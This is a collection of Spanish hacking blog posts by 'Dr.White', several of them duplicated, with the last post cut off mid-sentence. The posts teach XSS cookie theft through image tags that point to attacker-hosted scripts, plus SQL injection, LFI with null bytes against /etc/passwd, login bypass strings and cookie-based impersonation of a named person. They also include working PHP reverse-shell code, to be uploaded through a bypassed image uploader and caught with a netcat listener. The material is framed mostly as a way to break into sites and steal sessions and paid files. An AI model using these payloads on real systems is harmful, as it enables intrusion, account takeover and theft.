Procedimiento, Cuando un Xss se vuelve crítico.

Empezando este año con una entrada que creo que les ayudará a ver desde otra perspectiva un xss, en esta ocación les voy a enseñar como explotar un Xss para poder entrar...


Hace un tiempo escribí sobre como se hace para robar cookies con un xss y para los que se orientan con mi blog pues han de creer que yo enseñe robando masomenos con ingeniería social pero nosotros podemos hacer mas que eso... ahora les mostraré lo que podemos hacer...


mm el código que usaremos es el stándar por asi decirlo que tenemos en la otra entrada pero lo vamos a complementar con otras cosas... ahora si, hay muchas maneras de como poder entrar como administrador a una web con un xss o xsrf y la primera es robandole la cookie al administrador o moderador con ingeniería social + un Foro Vulnerable...


Asi como hago yo ustedes cuando quieran ver si una app es vulnerable procuren descargarlo y buscar código con errores, en casi todas las entradas pongo ejemplos de como se ve un código con error, o si quieren busquen el bug en exploit-db y ver si existe un xss o csrf a explotar... ahora si a la acción...


Tenemos nuestro Bug un Perfecto Xss para robar cookies está ubicado en el en el bbcode [img][/img] el problema con esto es que podemos poner cualquier tipo de imagen es decir jpg jpeg gif pero... php? mmm como podemos ver pregunté si se podía php, el php no es un tipo de imagen pero aun así los programadores cometieron ese error ahora a explotarlo, vamos a escribir una entrada, digamos en un foro de "hackers"...


Tema: Nuevo 0day :o
Content:

[img=http://miwebhostingparahackear.com/robocookie.php][/img]

Bueno amigos.................


EOF
------------------------


Listo como vemos acabamos de "ejecutar" nuestro código de robo de cookies y hemos comenzado a robar cookies y lógico lo que esté escrito en el post debe ser convincente luego vamos a ver quienes han caido... no puede ser... tenemos 20 sessiones que nervios... probemos a ver si alguna es del administrador, ahora despues de probar 13 sessiones:

Welcome Admin


Listo ya teniendo la administración podemos subir una shell como theme, etc pero bueno ahora les voy a mostrar otra situación... hace unos días un amigo me comentó de un 0day muy curioso... era en un chat php...


despues de analizar durante mucho rato el chat por que el no me quería decir del bug se me ocurrió ver los headers usando nuestro live http headers, y en el chat dijeron algo chistoso y yo use el emoticon "xD" y en eso vi que en uno de los headers post de los mensajes se veia algo como esto...



<img src="http://www.webserver.com/chat/files/emoticon10.jpg></img>


cuando lo vi dije no puede ser no creo que ese sea el bug...

cambie


<img src="http://www.webserver.com/chat/files/emoticon10.jpg></img>


por

test123...

y posteo eso intento lo primero con una redirección pero no aceptaba todos los tags entonces probe poner:



<img src="http://www.miwebhackeatodo.com/robo.php></img>


salio una [x] en ves de imagen y mientras escribian en el chat yo me iva sacando todas las cookies... como se dan cuenta hay veces que los errores son pura investigación y curiosidad... lo único que hice fue probar un poco y salio, ustedes también pueden hacer esto...


yo hoy les he enseñando esto con la etiqueta img pero se puede con un iframe, hipervínculo de flash y todo lo que ustedes se imaginen...


espero les sirva este tuto...


Saludos
Dr.White

Un Resumen del 2009

Comenzamos un Año de los mas dificiles para todos los ámbitos la crisis afectó a todos el mejor ejemplo es que la foca ya no será gratis...já este año lectores hemos pasado alti bajos juntos y me alegra ver saber como ha crecido poco a poco el blog, dando pasos lentos pero seguros, hemos perdido amigos que empezaron con nosotros, ahora hay uno nuevo pero no queremos irnos para el lado sentimental, les pongo el resumen de este año...

---------------------

Aprendimos a Spoofear User-Agent

Aprendimos sobre el Bluesnarfing


Aprendimos como funcionaba el Remote Code Execution


Aprendamos del Full Path Disclosure


Aprendimos a Configurar un archivo htaccess

Perverthso de CuscoSoft nos enseñó Sql Injection Básica

Jbyte de Jbyte-Security nos lo complementó con Injection a Sql Server


NitroNet Nos enseñó el Remote File Inclusion


Explicando el Path Trasversal


Comenté un poco del Reverse DNS


Ahora el Mass Defacemente


Robando Cookies con un Xss


El Hijacking


Expliqué el Cross Site Tracing

Aprendimos Login Bypass en el ISIL


Encontramos Xss en Tecsup


Nuestra Fanática


Vimos como se hacía Local Files Inclusion por Require()

LFI por uploader


Obtener Archivos del Servidor con Sql Injection


La Explicación de un Login Bypass


Remote Code Execution con Eval


Local File Disclosure


Argument Injection


Mi Exposición del LimaHack


Explique el Session Prediction


Session Fixation


Explique el XSRF


Insecure Permisions


Orientación del PHP al PenTest - CURL()


Insecure Cookie Handling


Nullbyte Poisoning


Sql Injection en ASP Ejempo Real


Descubrí un FPD en FaceBook


Expliqué el Cookie Poisoning


XSRF de Zer-Bits


Arbitrary Download + Full Source Disclosure de Zero-Bits


Espero Este Resumen les haya gustado ahora con mucho gusto y agradecimiento les digo...



Feliz Año Nuevo Que todo Sea bueno para Ustedes en todos los ámbitos, Espero no olviden seguridadblanca en el año que viene y esperamos el próximo año sea mejor para todos....

Happy Hacking =)




Saludos
Dr.White

Explotando Bugs en webs Básico

Muchos creen que para entrar a una web necesitasmos LAS TOOLS mas INCREIBLES del mundo pero realmente no necesitamos mucho, ahora les voy a describir una pequeña previa de como es el Dr.White en particular antes de atacar intentar ganar acceso a una web (WEB no ganar acceso a host ni vps ganar acceso a la web o explotar un bug...)


Lo primero...

Lo primero que hago es dejar la PC a un lado y voy a cojer un vaso con agua bien helada para que fluyan las ideas con claridad...


lo Segundo...

Esta etapa es la previa a comenzar el ataque... vamos a abrir un bloc de ntoas que nos ordenará lo que busquemos... primero vamos a buscar todos los links que hayan en el index y buscaremos todos los links posibles... ahora todos los links que no contengan variables los pondremos dentro del bloc de notas... de esta forma:


Links sin Variables:

http://www.practicingtuintrusion.com/img/gallery/images.php

http://www.practicingtuintrusion.com/admin/admin.php

http://www.practicingtuintrusion.com/sitemap.php

http://www.practicingtuintrusion.com/textos/



Ahora haremos lo mismo con las que si tengan variables...

nuestro bloc de notas deberia quedar algo asi:


links sin variables:

http://www.practicingtuintrusion.com/img/gallery/images.php

http://www.practicingtuintrusion.com/admin/index.php

http://www.practicingtuintrusion.com/search.php

http://www.practicingtuintrusion.com/textos/

Links con variables

http://www.practicingtuintrusion.com/img/gallery/images.php?id=10

http://www.practicingtuintrusion.com/textos/index.php?topic=seguridad

http://www.practicingtuintrusion.com/downloads/index.php?archivo=packlenguaje.zip


Ahora si ya tenemos todo un poco ordenado en primera lo que haremos será buscar formularios entre ellos cajas de texto... en lugares que no sea la administración... /admin/...

en nuestra busqueda hemos encontrado un textbox con un boton en:


http://www.practicingtuintrusion.com/search.php


cuando en el textbox ponemos seguridad nos pone algo como esto:


http://www.practicingtuintrusion.com/search.php?text=seguridad&privi=user


podemos analizar que hay dos variables... entonces lo pasamos a la lista de las webs con variables como última en la lista ahora si a analizar las variables...


http://www.practicingtuintrusion.com/img/gallery/images.php?id=10


vamos a ver si es vulnerable a algún ataque... provamos poniendo script alert hola pero no paso nada entonces decimos a sisi una sql injection ya que al parecer algo no deja explotar el xss entonces vamos y ponemos una comilla simple despues del 10

y bien nos voto un error de sql, ahora ustedes pueden revisar la etiqueta pentest u otras segun lo que busquen para encontrar un tutorial de como explotar...

ahora el siguiente link...

http://www.practicingtuintrusion.com/textos/index.php?topic=seguridad


lo primero que haremos será probar si es vulnerable a xss con un simple alert y probamos... y si si es vulneable... nosotros pusimos alert('hola') y nos mostro un msgbox con el contenido hola... ahora ya pueden buscar la etiqueta Xss y ver todo lo que pueden explotar...

ahora vamos a ver el tercer link:

http://www.practicingtuintrusion.com/downloads/index.php?archivo=packlenguaje.zip

ese uno de los mas peligrosillos... vamos a ver si es vulnerable a File Disclosure...

hay que poner otro archivo a ver si lo descarga...

http://www.practicingtuintrusion.com/downloads/index.php?archivo=index.php

lo descargó... ahora si ya tenemos el index podemos ver a que cosa le hace requiere o requiere once para descargar archivos que nos sirvan para explotar mejor este bug...

ahora el último...

http://www.practicingtuintrusion.com/search.php?text=seguridad&privi=user

veamos... vamos a dejar la variable privi de lado... busquemos a ver que podemos hacer con seguridad y despues de un rato de buscar hemos dado con que poniendo text=index.php nos muestra un index.php eso se parece a un LFI entonces pongamos ../etc/passwd% 00 a ver que pasa... no pasa nada mmm pongamos entonces doble ../ ahora si nos muestra todo el passwd ya tenemos como explotar un LFI... ahora la variable privi vemos que dice user mmm yo creo que solo nos muestran los resultados que son para los users comunnes pero como somos curiosos pondremos privi=admin a ver que pasa y los resultados pasaron de ser 50 a 100 por dios ya tenemos mas que estudiar...


ahora el panel de administracion:


vamos a ver que nos da para poner usuario y contraseña...

vamos a probar con una simple sql injection para bypassear login...

'or''='

y vemos que no nos da el acceso entonces decimos... esto fue todo? mm no podemos buscar por donde sacar algo... y vemos que cuando nos ponemos privi=admin la cookie cambia entonces con el live http headers nos pondremos como cookie la que nos daba cuando estabamos en privi=admin... y hemos entrado por un error de privilegios que también está explicado en el blog en la etiqueta pentest... ahora esto es una especie de taxonimía muy básica...


espero a provechen este tipo de enseñansa para que ustedes también usen algo de lo que les enseñé hoy...


Saludos
Dr.White

Explotando Bugs en webs Básico

Muchos creen que para entrar a una web necesitasmos LAS TOOLS mas INCREIBLES del mundo pero realmente no necesitamos mucho, ahora les voy a describir una pequeña previa de como es el Dr.White en particular antes de atacar intentar ganar acceso a una web (WEB no ganar acceso a host ni vps ganar acceso a la web o explotar un bug...)


Lo primero...

Lo primero que hago es dejar la PC a un lado y voy a cojer un vaso con agua bien helada para que fluyan las ideas con claridad...


lo Segundo...

Esta etapa es la previa a comenzar el ataque... vamos a abrir un bloc de ntoas que nos ordenará lo que busquemos... primero vamos a buscar todos los links que hayan en el index y buscaremos todos los links posibles... ahora todos los links que no contengan variables los pondremos dentro del bloc de notas... de esta forma:


Links sin Variables:

http://www.practicingtuintrusion.com/img/gallery/images.php

http://www.practicingtuintrusion.com/admin/admin.php

http://www.practicingtuintrusion.com/sitemap.php

http://www.practicingtuintrusion.com/textos/



Ahora haremos lo mismo con las que si tengan variables...

nuestro bloc de notas deberia quedar algo asi:


links sin variables:

http://www.practicingtuintrusion.com/img/gallery/images.php

http://www.practicingtuintrusion.com/admin/index.php

http://www.practicingtuintrusion.com/search.php

http://www.practicingtuintrusion.com/textos/

Links con variables

http://www.practicingtuintrusion.com/img/gallery/images.php?id=10

http://www.practicingtuintrusion.com/textos/index.php?topic=seguridad

http://www.practicingtuintrusion.com/downloads/index.php?archivo=packlenguaje.zip


Ahora si ya tenemos todo un poco ordenado en primera lo que haremos será buscar formularios entre ellos cajas de texto... en lugares que no sea la administración... /admin/...

en nuestra busqueda hemos encontrado un textbox con un boton en:


http://www.practicingtuintrusion.com/search.php


cuando en el textbox ponemos seguridad nos pone algo como esto:


http://www.practicingtuintrusion.com/search.php?text=seguridad&privi=user


podemos analizar que hay dos variables... entonces lo pasamos a la lista de las webs con variables como última en la lista ahora si a analizar las variables...


http://www.practicingtuintrusion.com/img/gallery/images.php?id=10


vamos a ver si es vulnerable a algún ataque... provamos poniendo script alert hola pero no paso nada entonces decimos a sisi una sql injection ya que al parecer algo no deja explotar el xss entonces vamos y ponemos una comilla simple despues del 10

y bien nos voto un error de sql, ahora ustedes pueden revisar la etiqueta pentest u otras segun lo que busquen para encontrar un tutorial de como explotar...

ahora el siguiente link...

http://www.practicingtuintrusion.com/textos/index.php?topic=seguridad


lo primero que haremos será probar si es vulnerable a xss con un simple alert y probamos... y si si es vulneable... nosotros pusimos alert('hola') y nos mostro un msgbox con el contenido hola... ahora ya pueden buscar la etiqueta Xss y ver todo lo que pueden explotar...

ahora vamos a ver el tercer link:

http://www.practicingtuintrusion.com/downloads/index.php?archivo=packlenguaje.zip

ese uno de los mas peligrosillos... vamos a ver si es vulnerable a File Disclosure...

hay que poner otro archivo a ver si lo descarga...

http://www.practicingtuintrusion.com/downloads/index.php?archivo=index.php

lo descargó... ahora si ya tenemos el index podemos ver a que cosa le hace requiere o requiere once para descargar archivos que nos sirvan para explotar mejor este bug...

ahora el último...

http://www.practicingtuintrusion.com/search.php?text=seguridad&privi=user

veamos... vamos a dejar la variable privi de lado... busquemos a ver que podemos hacer con seguridad y despues de un rato de buscar hemos dado con que poniendo text=index.php nos muestra un index.php eso se parece a un LFI entonces pongamos ../etc/passwd% 00 a ver que pasa... no pasa nada mmm pongamos entonces doble ../ ahora si nos muestra todo el passwd ya tenemos como explotar un LFI... ahora la variable privi vemos que dice user mmm yo creo que solo nos muestran los resultados que son para los users comunnes pero como somos curiosos pondremos privi=admin a ver que pasa y los resultados pasaron de ser 50 a 100 por dios ya tenemos mas que estudiar...


ahora el panel de administracion:


vamos a ver que nos da para poner usuario y contraseña...

vamos a probar con una simple sql injection para bypassear login...

'or''='

y vemos que no nos da el acceso entonces decimos... esto fue todo? mm no podemos buscar por donde sacar algo... y vemos que cuando nos ponemos privi=admin la cookie cambia entonces con el live http headers nos pondremos como cookie la que nos daba cuando estabamos en privi=admin... y hemos entrado por un error de privilegios que también está explicado en el blog en la etiqueta pentest... ahora esto es una especie de taxonimía muy básica...


espero a provechen este tipo de enseñansa para que ustedes también usen algo de lo que les enseñé hoy...


Saludos
Dr.White

Cookie Poisoning

En ocaciones anteriores he puesto dos cosas que se van a relacionar con el cookie poisoning, el Session Fixation y el robo de cookies por un Xss


Bueno primero lo que necesitamos...

- Paciencia
- iniciativa
- Curiosidad


Ahora si...


Lo primero que haremos es recordar como robar cookies click aquí ahora si con eso conseguimos la cookie listo ya tendriamos la mitad del tutorial... ahora... se me ocurre darles un ejemplo mas real...

Estamos en Caralibro.com una red social excelente... ellos usan unas cookies que hacen que confirmen que usuario somos... si vieramos el arhchivo de la cookie veriamos algo asi...

vhernandezviteri%3A7815696ecbf1c96e6894b779456d330e


el nombre de la versona es victor hernandez viteri, digamos que de el queremos obtener su cookie ahora caralibro tiene un xss en una aplicación bien interesante...

ahora le vamos a robar la cookie, sigan el tutorial y podrán hacerlo fácilmente una ves que tenemos la cookie ahora viene la parte nueva para ustedes o para algunos... a diferencia del session fixation la session la puedes poner por medio de headers e inclusive con javascript pero en este caso el cookie poisoning debemos sustituir la COOKIE del archivo de la COOKIE, hay herramientas, pueden buscar addons de mozilla firefox con los cuales se pueden editar las cookies...


como ven en el anterior ejemplo:

cgaldosdedalo%3A7815696ecbf1c96e6894b72hd9sj5ndk

eso es lo que veremos en la cookie de caralibro.com

ahora con el addon lo podemos sustituir y ponernos cualquiera... y si hemos conseguido robarsela a victor entonces... podemos ponernosla...

vhernandezviteri%3A7815696ecbf1c96e6894b779456d330e

si nos ponemos esa cookie y luego vamos a caralibro.com podremos entrar con su usario y hacer todo como si fuesemos el...

en conclusión:

cookie poisoning es casi lo mismo que session fixation pero la manera de asignarnos la cookie es diferente...


viendolo desde otro ángulo:

he tenido la oportunidad de ver en páginas del gobierno peruano que el login esta en JavaScript y te piden una cookie como seguridad que sería bypasseable de esta manera...

hay muchas maneras de poder usar esto y el session fixation por eso es importante como advisor yo les diría que usen sessions y las configuren bien, las cookies son un poco inseguras...


Saludos
Dr.White

Cookie Poisoning

En ocaciones anteriores he puesto dos cosas que se van a relacionar con el cookie poisoning, el Session Fixation y el robo de cookies por un Xss


Bueno primero lo que necesitamos...

- Paciencia
- iniciativa
- Curiosidad


Ahora si...


Lo primero que haremos es recordar como robar cookies click aquí ahora si con eso conseguimos la cookie listo ya tendriamos la mitad del tutorial... ahora... se me ocurre darles un ejemplo mas real...

Estamos en Caralibro.com una red social excelente... ellos usan unas cookies que hacen que confirmen que usuario somos... si vieramos el arhchivo de la cookie veriamos algo asi...

vhernandezviteri%3A7815696ecbf1c96e6894b779456d330e


el nombre de la versona es victor hernandez viteri, digamos que de el queremos obtener su cookie ahora caralibro tiene un xss en una aplicación bien interesante...

ahora le vamos a robar la cookie, sigan el tutorial y podrán hacerlo fácilmente una ves que tenemos la cookie ahora viene la parte nueva para ustedes o para algunos... a diferencia del session fixation la session la puedes poner por medio de headers e inclusive con javascript pero en este caso el cookie poisoning debemos sustituir la COOKIE del archivo de la COOKIE, hay herramientas, pueden buscar addons de mozilla firefox con los cuales se pueden editar las cookies...


como ven en el anterior ejemplo:

cgaldosdedalo%3A7815696ecbf1c96e6894b72hd9sj5ndk

eso es lo que veremos en la cookie de caralibro.com

ahora con el addon lo podemos sustituir y ponernos cualquiera... y si hemos conseguido robarsela a victor entonces... podemos ponernosla...

vhernandezviteri%3A7815696ecbf1c96e6894b779456d330e

si nos ponemos esa cookie y luego vamos a caralibro.com podremos entrar con su usario y hacer todo como si fuesemos el...

en conclusión:

cookie poisoning es casi lo mismo que session fixation pero la manera de asignarnos la cookie es diferente...


viendolo desde otro ángulo:

he tenido la oportunidad de ver en páginas del gobierno peruano que el login esta en JavaScript y te piden una cookie como seguridad que sería bypasseable de esta manera...

hay muchas maneras de poder usar esto y el session fixation por eso es importante como advisor yo les diría que usen sessions y las configuren bien, las cookies son un poco inseguras...


Saludos
Dr.White

Sql Injection en ASP

Bueno aquí he hecho un video, la calidad no es tan buena por eso les voy a poner el bloc de notas que use... también les quiero mostrar hoy como se ve una ataque desde el lado de un atacante por que no es bueno solo saber el lado del que protege ya que debemos estar continuamente actualizandonos y debemos de tener experiencia y saber por donde pueden entrar los "malos"...

sin mucho mas que decir... aquí está el video...





Lo que dice el Bloc de notas del video lo pueden ver dando click aquí

tambien le he agregado unas cosas cheveres al video para entenderlo un poco mas...


Espero les guste el video...



Saludos
Dr.White

Sql Injection en ASP

Bueno aquí he hecho un video, la calidad no es tan buena por eso les voy a poner el bloc de notas que use... también les quiero mostrar hoy como se ve una ataque desde el lado de un atacante por que no es bueno solo saber el lado del que protege ya que debemos estar continuamente actualizandonos y debemos de tener experiencia y saber por donde pueden entrar los "malos"...

sin mucho mas que decir... aquí está el video...





Lo que dice el Bloc de notas del video lo pueden ver dando click aquí

tambien le he agregado unas cosas cheveres al video para entenderlo un poco mas...


Espero les guste el video...



Saludos
Dr.White

PenTest Reverse Shell con PHP y NETCAT

La mayoría de los que andan en el hacking, la seguridad informatica y/o la rama de la informática seguramente alguna ves ha escuchado del NMAP, el nmap viene en un paquete con otra herramienta, excelente herramienta para conexiones remotas, se llama NetCat, el netcat nos ayuda en muchas cosillas, entre ellas está el ver headers, hacer conexiones remotas, poner en escucha servidores y sinceramente es una t00l que se necesita en el pen-test...


Bueno ahora lo que yo les voy a enseñar es como manejar a traves del netcat manejar el code y al mismo tiempo no usar shells como la R57 o C99 mmm bueno aquí les cuento como haremos...



lo primero que debemos hacer es ganar acceso al host, es decir debemos hacer la intrusión... mm nos bastará con encontrar un upload de imagenes bypasseable o lo que ustedes quieran o encuentren entonces vamos a subir a http://www.h4x0r.com/ a atraves de un upload de imagenes un archivo .php


http://www.h4x0r.com/upload.php?user=dedalo

despues de que hemos subido entonces nos dará que la ruta de nuestro archivo .php es:


http://www.h4x0r.com/upload/data/users/dedalo/shell.php


Como se han dado cuenta ya sabemos la ruta de nuestro archivo.php creo que hasta aquí hay dos preguntas que seguro alguno de ustedes se hará... la primera es como encontrar el archivo... pues es menos compleja de lo que se imaginan la respuesta... la ruta del archivo la sabremos gracias a que muchas veces nos dicen donde esta alojado el archivo por medio de links o pistas que podemos seguir o en otros casos podemos usar nuestro Addon Live Http Headers para ver por donde fue...


La otra pregunta se las puedo responder también, creo que es... la mas importante, que hay dentro del archivo .php... pues bueno dentro del archivo PHP debe haber un código como este:


<?php



/*para esto podemos usar fputs o fwrite*/



set_time_limit(0);



$msgin = "SeguridadBlanca Remote Shell";

$sock = fsockopen("IP", 6666);



fputs($sock, $msgin);



while(1){

$back = fgets($sock, 6666);



  if($back){

    $sys = system($back);

    fputs($sock, "$sys\n\n");

  }

}

// By Dedalo From SeguridadBlanca

?>



que pueden encontrar en pastebin también dando click aquí


como ven ese código es muy importante ya que es el que nos permitirá hacer la conexión a traves del puerto 6666, elejí ese por un random no es que siempre lo tienen que usar ustedes pueden escojer... ahora ya tenemos el archivo en el host... a hacer la conexión...no... aun falta algo que es fundamental... el PHP es un lenguaje que debe interpreta el Servidor como lo puede ser el APACHE que es el que normalmente se usa, en este caso como el servidor debe interpretarlo debemos acceder a el por eso debemos tener la ruta al archivo...previo a hacer la conexion debemos acceder a nuestro archivo que en este caso sería llendo a...

http://www.h4x0r.com/upload/data/users/dedalo/shell.php

cuando nosotros ingresemso el servidor lo interpretará y automaticamente si el servidor tiene fallos de seguridad interesantes no habrá problema en hacer algo como esto...


Ahora si la parte del NETCAT... es la forma con la que haremos la conexión... el programa está diseñado para que podamos acceder a ejecutar comandos del servidor segun el usuario que normalmente es APACHE pero podemos escalar privilegios segun las actualizaciones y un millon de factores pero por ahora haremos algo simple...


Descarguen el NETCAT Dando click aquí o si tienen el NMAP completo deberian tener por ahí un archivo llamado NC...


ahora abrimos nuestra consola vamos hasta la carpeta del netcat y vamos a hacer conexion...

como la conexion es inversa osea Reverse Conection o Reverse Shell cuando accedamos a la web recien haremos conexión como dije de manera previa...

con el nc nos pondremos en escucha con la siguiente sintaxis...

ncat -v -l -p 6666

ahora si ya tenemos en escucha y ahora si den click en go su navegador con la url:

http://www.h4x0r.com/upload/data/users/dedalo/shell.php


ahora deben ver como su consola le dice que se han conectado a ustedes... ya podemos hacer cosas como wget y alguna que otra... esto no solo les sirve para hacer cosas malas sino en caso de soporte y otro tipo de cosas... es un poco riesgoso hacer este tipo de cosas tanto para ustedes como para la web asi que no lo recomiento...


espero haya estado claro el tutorial...


Dudas?

Saludos
Dr.White

PenTest Reverse Shell con PHP y NETCAT

La mayoría de los que andan en el hacking, la seguridad informatica y/o la rama de la informática seguramente alguna ves ha escuchado del NMAP, el nmap viene en un paquete con otra herramienta, excelente herramienta para conexiones remotas, se llama NetCat, el netcat nos ayuda en muchas cosillas, entre ellas está el ver headers, hacer conexiones remotas, poner en escucha servidores y sinceramente es una t00l que se necesita en el pen-test...


Bueno ahora lo que yo les voy a enseñar es como manejar a traves del netcat manejar el code y al mismo tiempo no usar shells como la R57 o C99 mmm bueno aquí les cuento como haremos...



lo primero que debemos hacer es ganar acceso al host, es decir debemos hacer la intrusión... mm nos bastará con encontrar un upload de imagenes bypasseable o lo que ustedes quieran o encuentren entonces vamos a subir a http://www.h4x0r.com/ a atraves de un upload de imagenes un archivo .php


http://www.h4x0r.com/upload.php?user=dedalo

despues de que hemos subido entonces nos dará que la ruta de nuestro archivo .php es:


http://www.h4x0r.com/upload/data/users/dedalo/shell.php


Como se han dado cuenta ya sabemos la ruta de nuestro archivo.php creo que hasta aquí hay dos preguntas que seguro alguno de ustedes se hará... la primera es como encontrar el archivo... pues es menos compleja de lo que se imaginan la respuesta... la ruta del archivo la sabremos gracias a que muchas veces nos dicen donde esta alojado el archivo por medio de links o pistas que podemos seguir o en otros casos podemos usar nuestro Addon Live Http Headers para ver por donde fue...


La otra pregunta se las puedo responder también, creo que es... la mas importante, que hay dentro del archivo .php... pues bueno dentro del archivo PHP debe haber un código como este:


<?php



/*para esto podemos usar fputs o fwrite*/



set_time_limit(0);



$msgin = "SeguridadBlanca Remote Shell";

$sock = fsockopen("IP", 6666);



fputs($sock, $msgin);



while(1){

$back = fgets($sock, 6666);



  if($back){

    $sys = system($back);

    fputs($sock, "$sys\n\n");

  }

}

// By Dedalo From SeguridadBlanca

?>



que pueden encontrar en pastebin también dando click aquí


como ven ese código es muy importante ya que es el que nos permitirá hacer la conexión a traves del puerto 6666, elejí ese por un random no es que siempre lo tienen que usar ustedes pueden escojer... ahora ya tenemos el archivo en el host... a hacer la conexión...no... aun falta algo que es fundamental... el PHP es un lenguaje que debe interpreta el Servidor como lo puede ser el APACHE que es el que normalmente se usa, en este caso como el servidor debe interpretarlo debemos acceder a el por eso debemos tener la ruta al archivo...previo a hacer la conexion debemos acceder a nuestro archivo que en este caso sería llendo a...

http://www.h4x0r.com/upload/data/users/dedalo/shell.php

cuando nosotros ingresemso el servidor lo interpretará y automaticamente si el servidor tiene fallos de seguridad interesantes no habrá problema en hacer algo como esto...


Ahora si la parte del NETCAT... es la forma con la que haremos la conexión... el programa está diseñado para que podamos acceder a ejecutar comandos del servidor segun el usuario que normalmente es APACHE pero podemos escalar privilegios segun las actualizaciones y un millon de factores pero por ahora haremos algo simple...


Descarguen el NETCAT Dando click aquí o si tienen el NMAP completo deberian tener por ahí un archivo llamado NC...


ahora abrimos nuestra consola vamos hasta la carpeta del netcat y vamos a hacer conexion...

como la conexion es inversa osea Reverse Conection o Reverse Shell cuando accedamos a la web recien haremos conexión como dije de manera previa...

con el nc nos pondremos en escucha con la siguiente sintaxis...

ncat -v -l -p 6666

ahora si ya tenemos en escucha y ahora si den click en go su navegador con la url:

http://www.h4x0r.com/upload/data/users/dedalo/shell.php


ahora deben ver como su consola le dice que se han conectado a ustedes... ya podemos hacer cosas como wget y alguna que otra... esto no solo les sirve para hacer cosas malas sino en caso de soporte y otro tipo de cosas... es un poco riesgoso hacer este tipo de cosas tanto para ustedes como para la web asi que no lo recomiento...


espero haya estado claro el tutorial...


Dudas?

Saludos
Dr.White

Nullbyte Poisoning

Algunos de ustedes ya han escuchado del nullbyte poisoning, que se usa para bypassear que si, que no pero cuantos de ustedes realmente saben que hace el nullbyte? mmm pues hoy les voy a explicar por que se bypassea con este caracter, lo primero que deben saber es que las magic_quotes deben estar en OFF, ahora si, empezemos...


primero el código PHP vulnerable:

$include = $_GET['include'];
require_once("/var/www/$include.php");


Como ven, masomenos se puede entender el código, lo que se hace un GET:


http://www.vuln.com/index.php?include=


pero en la siguiente linea dice que el archivo que traigan va a ser un .php


es decir, lo que sea que traigan será interpretado por el servidor asi:


http://vuln.com/index.php?include=archivo.php


sin embargo nosotros podriamos explotar un LFI haciendo algo asi:


http://www.vuln.com/index.php?include=../etc/passwd<>


ahora el nullbyte en una situación como la antes dada también podriamos usarla para descargar cosas de la siguiente manera...


http://www.notfreedownloads.com/index.php?include=ventas.php


si el tipo de arriba tuviese los archivos en su host entonces podriamos hacer algo como:


http://www.notfreedownloads.com/index.php?include=../ventas/programas/500dolares<>exe


entonces los ejecutables (.exe) que esten en 500dolares podrian ser nuestros en tan solo unos segundos, los directorios los podemos descubrir de manera manual o usando t00ls como acunetix que te facilitan el trabajo, así también como les enseñe se puede usar el nullbyte para llamar archivos con sierta extensión... no solo archivos de configuración... hay retos en internet de LFI que necesitan usar el nullbyte poisoning entre ellos un reto de codebit y otro en seguridadinformatica en el de seguridad informatica ponen en práctica el último ejemplo que di...


Espero con esto les quede un poco mas claro de como es el nullbyte poisoning, también es un ataque que se puede hacer en ASP pero no lo voy a explicar por que haré un tuto de Sql Injection en Asp.Net que necesitará nullbyte poisoning o quizas en otro tuto de nullbyte pero los codigos son básicamente iguales...



lamentablemente blogger no deja poner los nullbyte pero sustituyan <> por el nullbyte que es signo de porcentaje y dos ceros % 00 solo que todo junto


casi lo olvidaba, como protegerse pues no es tan dificil...

un str replace estará bien pero pueden hacerlo con un str_replace cambiando el chr(0) que es el nullbyte...


Saludos
Dr.White

Nullbyte Poisoning

Algunos de ustedes ya han escuchado del nullbyte poisoning, que se usa para bypassear que si, que no pero cuantos de ustedes realmente saben que hace el nullbyte? mmm pues hoy les voy a explicar por que se bypassea con este caracter, lo primero que deben saber es que las magic_quotes deben estar en OFF, ahora si, empezemos...


primero el código PHP vulnerable:

$include = $_GET['include'];
require_once("/var/www/$include.php");


Como ven, masomenos se puede entender el código, lo que se hace un GET:


http://www.vuln.com/index.php?include=


pero en la siguiente linea dice que el archivo que traigan va a ser un .php


es decir, lo que sea que traigan será interpretado por el servidor asi:


http://vuln.com/index.php?include=archivo.php


sin embargo nosotros podriamos explotar un LFI haciendo algo asi:


http://www.vuln.com/index.php?include=../etc/passwd<>


ahora el nullbyte en una situación como la antes dada también podriamos usarla para descargar cosas de la siguiente manera...


http://www.notfreedownloads.com/index.php?include=ventas.php


si el tipo de arriba tuviese los archivos en su host entonces podriamos hacer algo como:


http://www.notfreedownloads.com/index.php?include=../ventas/programas/500dolares<>exe


entonces los ejecutables (.exe) que esten en 500dolares podrian ser nuestros en tan solo unos segundos, los directorios los podemos descubrir de manera manual o usando t00ls como acunetix que te facilitan el trabajo, así también como les enseñe se puede usar el nullbyte para llamar archivos con sierta extensión... no solo archivos de configuración... hay retos en internet de LFI que necesitan usar el nullbyte poisoning entre ellos un reto de codebit y otro en seguridadinformatica en el de seguridad informatica ponen en práctica el último ejemplo que di...


Espero con esto les quede un poco mas claro de como es el nullbyte poisoning, también es un ataque que se puede hacer en ASP pero no lo voy a explicar por que haré un tuto de Sql Injection en Asp.Net que necesitará nullbyte poisoning o quizas en otro tuto de nullbyte pero los codigos son básicamente iguales...



lamentablemente blogger no deja poner los nullbyte pero sustituyan <> por el nullbyte que es signo de porcentaje y dos ceros % 00 solo que todo junto


casi lo olvidaba, como protegerse pues no es tan dificil...

un str replace estará bien pero pueden hacerlo con un str_replace cambiando el chr(0) que es el nullbyte...


Saludos
Dr.White

Pentest: Insecure Cookie Handling

No había tenido imaginación para escribir en los últimos dias pero hoy me desperte y un amigo me estaba pidiendo ayuda con una Sql Injection, despues de un rato de salir a comprar un te helado entre a una web que tenía este error así que hoy les voy a explicar masomenos el funcionamiento de ese bug.


Lo primero vamos a ver la linea de código que le asigna una COOKIE a digamos el administrador

setcookie("testcookie","1");


Ahora como vemos ya sabemos que la cookie se llama testcookie pero por ahora no nos vamos a fijar en eso...

miren este code:

if($_COOKIE['testcookie']=="1")
{
include "admin.php";
}
else {
die('no eres el admin'); }


Recuerda el tutorial de argument injection ya pues esto va a ser algo parecido... el anterior code dice que si nosotros tenemos testcookie entonces nos hara un include del admin.php

Ahora miren el code del login...


if($_POST['pass'] == $hashedpass) {
setcookie("testcookie","1"); //esto lo vimos antes
} else {
die("no entraste");
}


como ven lo que dice es lo siguiente... si nuestra pass es la pass que haya escojido el administrador nos asigna una cookie que es testcookie y cuando apretamos mas abajo pregunta en el code digamos que esta lo mismo que pusimos en el code numero 1:

if($_COOKIE['testcookie']=="1")
{
include "admin.php";
}
else {
die('no eres el admin'); }

jeje ahora si creo que no puede estar mas claro pero en resumen es... si la pass es correcta nos pone una cookie y si la tenemos nos lleva a admin.php


Ahora si ni mas que decir la expl0tación...


vamos a nuestro browser...

y donde se pone la url ponemos:

